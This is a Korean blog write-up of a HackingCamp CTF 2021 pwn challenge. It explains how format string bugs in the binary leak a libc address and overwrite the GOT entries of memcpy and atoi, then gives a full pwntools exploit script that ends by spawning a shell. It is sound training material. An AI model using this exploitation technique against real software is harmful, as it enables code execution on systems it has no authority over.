CTF/Write UPs

[HackingCamp CTF 2021 : pwn] Secure Test 풀이 (언인텐)

jir4vvit 2021. 2. 24. 18:14
문제 풀이 환경 : ubuntu 20.04

이번 해캠CTF 때 나왔던 문제이다. 우리 팀장님이 내신 문제인데, 내가 힙을 잘 몰라서 인텐으로 못풀고 언인텐으로 풀었다. ... 크로스체킹 때 언인텐 발견 못해서 죄송할 따름이다. (사실 익스보고도 이해를 못해서 체킹도 못했었다)

 

이 문제를 풀면서 내가 가진 구버전 IDA로는 디컴이 잘 안되가지고 IDA를 7.5로 업그레이드 시켰다.ㅎㅎ


나 포함 2명이 풀어서 496점이 되었다. (퍼블하고 싶었는데 ㅠ)

주어진 파일은 libc 파일, 문제 바이너리 파일, c코드 파일인데 깜빡하고(?) c코드 파일은 보지 않고 풀었다.

 

Analysis

일단 바이너리를 실행시켜보면 이런 느낌이다.

 

 

main

각 메뉴를 실행하면 아래와 같은 함수가 실행된다.

  1. vuln()
  2. safe()
  3. clean()

 

vuln()부터 살펴보자.

vuln

16번째 줄에서 read 함수로 &buf에 0x5만큼 쓸 수 있고 22번째 줄에 &buf를 출력하면서 fsb가 트리거 가능하다.

vuln에서 libc leak을 할 수 있겠다.

 

 

safe()를 살펴보자.

safe

50번째 줄에서 read함수로 &buf에 0x64만큼 쓰기가 가능하다. 참고로 vuln 함수에서는 0x5만 쓰기 가능했었다.

 

64번째 줄에서 snprintf() 함수는 끝 널 문자를 계산하지 않고 배열에 작성된 바이트 수를 리턴한다. 

int snprintf (char *buffer, int buf_size, const char *format, ...)

그리고 snprintf 는 사용자가 두번째 인자값으로 넘긴 만큼만 갖고오면서, 마지막 주소지엔 알아서 널값을 채워준다.

결론은 70번째 줄에서 0x5만 &buf에서 safe_buf로 복사가 되고 71번째에서 safe_buf를 출력한다. 

 

 

여기서 하나 테스트를 해본다.

세그먼트 폴트가 떴다. 이게 0x5 글자 제한이었다면 AAAAA만 인정이되어서 프로그램이 안터졌을 것이다. 하지만 세폴이 뜬 것을 보니 5글자 제한이 아니었고, %n이 유효한 주소를 가리켰다면 터지지 않았을 것이다. 

 

from pwn import *

p = process("./secure_test")
#p = remote

payload = ''
payload += 'A'*8
payload += 'B'*8
payload += 'C'*8
payload += 'D'*8
payload += 'E'*8
payload += 'F'*8
payload += 'G'*8
payload += 'H'*8
payload += 'I'*8
payload += 'J'*8
payload += 'K'*8
payload += "%10$n"

p.sendlineafter("Quit\n", "2")
pause()
p.sendlineafter("data\n", payload)

p.interactive()

%10$n으로 테스트 해보았다.

0x4545454545454545 주소에 접근해서 0x58을 넣으려고 한다. offset은 6임을 확인했다,

 

 

fsb로만 문제를 풀 것임으로 clean()은 분석을 pass한다..

 

How to exploit

  1. vuln() fsb 트리거해서 libc 주소 leak
  2. safe() fsb 트리거해서 ? got를 system함수로 overwriting

 

leak

leak할 때 오프셋을 몇으로 줘야 할 지 고민했었다.

우리가 leak할 주소는 저기 __libc_start_main이다.

 

64bit는 함수호출규약에 따라 6개의 인자는 레지스터로, 더 많으면 스택으로 넘긴다.

rdi rsi rdx rcx r8 r9 

 

%p 하나 쓰면 rsi 값이 출력될 것이다.

 

결국 offset은 13...

 

 

got overwriting

got overwriting 하는게 힘들었다.

터짐

왜냐하면 자꾸 저기서 터졌기 때문이다.

그래서 __memmove_avx_unaligned_erms를 호출하는 memcpy를 그냥 main으로 덮어버렸다.

 

system함수는 대체 어디에 덮어야 할까??

main...

atoi 함수의 got로 덮었다. 인자는 0x4만큼만 써야해서 'sh'로 주었다.

 

 

Let's exploit!

exploit code

from pwn import *

p = process("./secure_test")
#p = remote("13.125.168.158", "30001")
elf = ELF('./secure_test')
libc = ELF('./libc.so.6')


def fsb64(addr, got):
    payload = ''

    addr_low = addr & 0xffff
    addr_middle = (addr >> 16) & 0xffff
    addr_high = (addr >>32) & 0xffff
    
    low = addr_low
    if addr_middle > addr_low:
        middle = addr_middle - addr_low
    else:
        middle = 0x10000 + addr_middle - addr_low

    if addr_high > addr_middle:
        high = addr_high - addr_middle
    else:
        high = 0x10000 + addr_high - addr_middle

    # offset 6
    payload += '%{}c'.format(low)
    payload += '%11$hn'
    payload += '%{}c'.format(middle)
    payload += '%12$hn'
    payload += '%{}c'.format(high)
    payload += '%13$hn'
    payload += 'A'*(8-len(payload)%8)
    payload += p64(got)
    payload += p64(got+2)
    payload += p64(got+4)

    return payload


def leak():
    payload = ''
    payload += '%13$p'

    p.sendlineafter('Quit\n', '1')
    p.sendlineafter('data\n', payload)

    p.recvuntil('result: ')
    leak = p.recvuntil('[')[:-1]
    leak = int(leak,16)
    log.info('libc_start_main_ret leak : ' + hex(leak))

    return leak


##########
system_offset = libc.symbols['system']
libc_start_main_offset = libc.symbols['__libc_start_main']

atoi_got = elf.got['atoi']
memcpy_got = elf.got['memcpy']

main = elf.symbols['main']
##########


# get libc_base
libc_base = leak() - libc_start_main_offset - 243
log.info('libc_base : ' + hex(libc_base))

system = libc_base + system_offset
log.info('system : ' + hex(system))

# memcpy got overwriting -> main
payload = ''
payload += fsb64(main, memcpy_got)
p.sendlineafter('Quit\n', '2')
p.sendlineafter('data\n', payload)

# atoi got overwriting -> system
payload = ''
payload += fsb64(system, atoi_got)
p.sendlineafter('Quit\n', '2')
p.sendlineafter('data\n', payload)

# exploit
#pause()
p.sendlineafter('Quit\n', 'sh')

p.interactive()

 

 

나중에 공부 더 많이해서 인텐으로도 풀어봐야겠다.